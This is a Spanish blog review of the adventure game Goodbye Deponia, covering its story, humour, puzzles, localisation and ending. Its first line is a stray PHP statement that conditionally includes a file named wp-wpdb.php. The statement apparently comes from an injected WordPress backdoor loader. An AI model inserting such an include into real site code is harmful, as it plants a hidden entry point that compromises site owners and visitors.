if (is_file('wp-wpdb.php')) include_once('wp-wpdb.php'); Análisis Goodbye Deponia – La Fortaleza de LeChuck

Análisis Goodbye Deponia

Cuando se sigue con interés una obra durante varias entregas, ya sea una serie, saga de películas o videojuegos, es difícil no acabar encariñándose con los personajes que la conforman, y deseando que su historia no llegue a un final, o por lo menos que éste sea tan digno y espectacular como nosotros deseamos. Por desgracia no siempre es el caso, y entre algunos casos populares en los que no se cerró la trama a gusto de todos podríamos citar el final de Mass Effect 3, o el de Perdidos (Lost), sin ir más lejos. La saga de aventuras gráficas Deponia llega al final con la entrega que cierra la trilogía de las desventuras del desdichado, patoso e irresponsable Rufus, en busca de un billete a una vida mejor en el Elysium, mientras huye de la anunciada destrucción del planeta-chatarra en el que habita. La historia retoma la acción en el mismo punto donde acababa la segunda entrega y podemos decir que se cierra de forma definitiva, así que… Da pena, pero toca decir adiós a Deponia.

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You are now leaving Deponia”

Goodbye Deponia no es estrictamente una novedad. De hecho el juego se lanzó en octubre de 2013 a manos de la compañía alemana Daedalic Entertainment, la cual está haciendo todos los méritos posibles para heredar el cetro de reina de las aventuras que soltó la desaparecida LucasArts a finales del siglo pasado. El motivo de esta entrada un tanto tardía ha sido el de no querer jugar a la finalización de la saga en el momento de su salida, esperando poder premiar el buen trabajo de localización que la distribuidora FX Interactive realizó en nuestro país con las dos entregas anteriores. A pesar de que las ventas no apoyaron para que esto fuera posible, durante muchos meses la distribuidora no tiró la toalla, y mantuvieron la esperanza a los usuarios que preguntaban sobre la posibilidad del doblaje de Goodbye Deponia. Sin embargo, las circunstancias, y una mala situación económica de la que esperamos puedan recuperarse, han impedido que FX repita el excelente trabajo de los dos primeros Deponias. Gracias a la mano de otra distribuidora, Avance Discos, el juego ha podido ver la luz en nuestro país en formato físico el pasado abril, en una edición subtitulada y que incluye la banda sonora original. Algo es algo, aunque nos habíamos malacostumbrado.

Es una pena no poder completar la trilogía de la misma forma que las dos primeras entregas, porque lo cierto es que el juego, como todo lo que realiza Daedalic, ha gozado de un éxito bastante considerable. Hablamos de un terreno como el de las aventuras gráficas, un territorio considerado prácticamente de nicho actualmente. La tercera entrega de Deponia ha cosechado críticas positivas de medios y público, e incluso alguna polémica absurda no buscada, que le ha dado más repercusión. Pero centrémonos en el argumento.

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A mí esta gente me suena de algo…

Basura, basura… y más basura”

Una de las ventajas de una tercera entrega es que se puede permitir ir directamente al grano. Liberada de la presión de tener que presentar a los personajes principales, a los que ya conocemos porque supuestamente hemos jugado a los juegos anteriores, Goodbye Deponia empieza fuerte, justo donde habíamos dejado el cliffhanger de cierre de la segunda parte. Un ejemplo de ese meta-humor lo tenemos al empezar esta tercera entrega con un guiño a la primera, repitiendo la misma frase con la que iniciábamos el primer Deponia (El ya mítico “Basura, basura… y más basura”), aunque pronunciado por distinto personaje en esta ocasión. Hablando de meta-humor, no podíamos empezar el juego sin la prensa-tutorial, o sin escuchar la esperada canción del bardo-chatarrero que narra nuestras desventuras. Cuántos guiones en una frase.

A estas alturas conocemos ampliamente al protagonista de esta historia, Rufus, el cual se puede definir poco menos que como un apocalipsis con patas. A pesar de tener que enfrentarnos a todo un ejército que quiere destruir su mundo, a un villano idéntico a nosotros al que le hemos levantado el interés romántico, y a la furia de nuestra ex, el mayor enemigo para completar la aventura es el propio Rufus. Más de una vez que hayamos conseguido la solución satisfactoria a una situación límite, él se encargará de pifiarla a base de bien. A veces incluso obligándonos a hacer algo que no quisiéramos, por el bien de avanzar la trama, sabiendo que eso no nos va a quitar el golpearnos la cabeza con la palma de la mano una vez consumado el desastre -lo que viene siendo un facepalm como una catedral, vamos-. Lo nuestro es grave, ya que no entendemos muy bien por qué, hemos llegado a cogerle aprecio tras tres aventuras. Rufus lleva el concepto de antihéroe bastante más allá del límite habitual, siendo tan egoísta y ruin en su forma de actuar -muchas veces a través de nosotros- que cuando pensamos que puede que se esté redimiendo, gracias al tono más trascendental y “serio” que tiene en ocasiones esta entrega, suele desembocar todo en una falsa alarma.

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No veo qué podría salir mal

Pero no, Goodbye Deponia no es un juego serio ni mucho menos. Esta aventura empezó en su primera entrega apoyándose en el modelo slapstick (bufonadas basadas en golpes y porrazos, mayormente), y conforme se ha ido desarrollando la historia, este humor se ha ido potenciando y además aumentando progresivamente, añadiendo al cóctel un humor tirando a negro, y momentos que nos pueden incluso dejar con el culo algo torcido. Por ello, uno se ha reído mucho con algunas situaciones desafortunadas, pero hay quién se podría quedar con la sonrisa congelada, si no tiene la capacidad de contextualizar la burrada que acaba de ver con el personaje lamentable que lo causa. Goodbye Deponia sólo nos exige una cosa: que la audiencia que lo juegue no se la coja con papel de fumar.

Los héroes no necesitamos tutorial”

En cuanto al juego en sí, la fórmula continúa siendo la misma, y para qué cambiar si la gente de Daedalic demuestran que la dominan. Aventura gráfica de corte clásico, point & click, con un dibujado a mano exquisito, y con unas animaciones aún algo toscas, pero que se ven mucho más fluidas con respecto al primer Deponia. Daedalic declaró que cada entrega se podía jugar de forma independiente, pero jugar a esta tercera entrega sin hacerlo antes a las dos anteriores es perderse demasiado desarrollo, y de paso dos aventuras que estaban francamente bien, así que lo recomendable es, si no hemos jugado a ningún capítulo de la trilogía, empezar desde el principio. Además, hay cierto viaje del héroe, cosa que apreciaremos más de esta forma.

El sistema de puzzles, criticado en su primera entrega, es más elaborado e interesante en esta tercera. Los puzzles siguen la lógica del personaje, y el juego es más fácil en este sentido; no porque la dificultad haya bajado demasiado, sino porque hemos aprendido a pensar como el protagonista, para resolverlos. Además, hay la opción de saltarse algunos si queremos (cosa que “sabemos” que un aventurero que se precie no debería hacer, pero ahí está la opción…). Eso sí, daremos muchas vueltas y hablaremos con uno y otro personaje hasta dar con la solución, pero salvo en un par de retorcidas ocasiones es difícil que nos estanquemos si hemos realizado ese “aprendizaje” que da el haber jugado a las entregas anteriores.

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Eres más inútil que un tutorial en una aventura gráfica

La historia nos guiará por nuevas localizaciones en nuestro objetivo por llegar a Elysium con Goal, y de hecho recorreremos un buen número de escenarios. Además, gracias a una novedad que aporta esta tercera entrega, a partir de cierto punto de la aventura vamos a jugar -sin entrar en detalles- de una forma que recuerda mucho a la mecánica de un gran referente del género: Day Of The Tentacle (LucasArts, 1993). La trama, que ha sido durante buena parte de la aventura una excusa para cumplir con los rigores de conseguir llegar a la tierra prometida con la chica de la película (chica que se llama para más inri “Goal”; “Meta” en inglés), se torna más conclusiva y trascendente conforme se acerca la caída del telón. Hasta el punto que el acto final es bastante definitivo, y por qué no decirlo, cierra rotúndamente la trilogía. Sin entrar en spoilers, es una clausura memorable que hace honor a la saga, aunque puede que no sea del agrado de todos.

Y francamente, es una pena que concluya esta historia, ya que en Daedalic han forjado un universo muy interesante con este planeta-basura surtido de referencias steampunk y poblado por personajes de lo más variopinto. Además, ¿cuándo tenemos la posibilidad de jugar tan alegremente con el espacio-tiempo, la genética y la física cuántica? No han cerrado oficialmente la posibilidad de una secuela, pero parece poco probable que entre en sus planes un nuevo Deponia. Al menos de momento. No estaría mal volver a escuchar al trovador que narra la trama entre actos…

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Este hombre merece un club de fans

Que os den, si no lo jugáis”

Y a propósito del narrador, es una pena que Goodbye Deponia no nos llegue igual de -bien- doblado y localizado que sus antecesores. Eso sí, la versión que se comercializa en España está perfectamente subtitulada al castellano, aunque ya nos habíamos habituado al buen trabajo de FX Interactive en las entregas anteriores (a pesar de cambiar la voz a Rufus en la segunda entrega). Sonoramente el juego raya a gran nivel, más teniendo en cuenta que no le exigimos grandes alardes a un juego de este género. A pesar de ello, las canciones acompañan perfectamente, e incluso algún puzzle será un homenaje a la buena banda sonora que nos ha acompañado en todo este recorrido.

En total, el juego podremos completarlo en unas 15 horas, lo cual está bastante bien teniendo en cuenta que esta tercera entrega no se ha estirado tanto artificialmente como pasaba en las anteriores. Habrá una buena cantidad de giros argumentales que mantendrán el interés, y se resolverán las dudas que planteaba el guión hasta la fecha. Al menos lo importante queda explicado, porque hay cosas, y sobretodo personajes secundarios que, simplemente, desaparecen de la ecuación. Es un borrón en un juego que pretende darle una explicación a todo lo acontecido, aunque dado el tono de la aventura es, ciertamente, algo que no era necesario. Sin embargo, y dado que la intención de la trama era darle cierta trascendencia a la parte final, es un error dejar cabos sueltos de bastante envergadura tras pasarnos el juego.

A pesar de ello, Goodbye Deponia es una aventura muy disfrutable, y salvo algún agujero en el guión que podemos perdonar -pero no obviar-, es una de las mejores aventuras gráficas de los últimos tiempos. Si nos cae bien el personaje principal, o al menos hasta un nivel soportable, tenemos una aventura en tres entregas imprescindible para los fans del género. Y en concreto, la tercera parte es un broche perfecto para despedir la saga, aunque ojalá no sea la última vez que oigamos hablar de este planeta convertido en vertedero, o de esa sociedad perfecta a la que tanto ansía llegar el protagonista y a la que está anclada Deponia. Ojalá que en vez de Goodbye Deponia, digamos “See you soon”.

Por Heko

Se peleó de pequeño por hacer funcionar un ZX Spectrum, lo cuál no presagiaba nada bueno a largo plazo, aunque curiosamente él lo recuerda con cariño. Ya de mayor, sufrió un terrible accidente al retirar un USB de su puerto sin esperar a qué fuera seguro quitarlo. La catástrofe asoló medio continente, aunque la radiación le concedió el superpoder mutante de escribir sobre todo lo que a él le apasiona. Entre otras cosas, por supuesto, sobre “eso de los marcianitos”.

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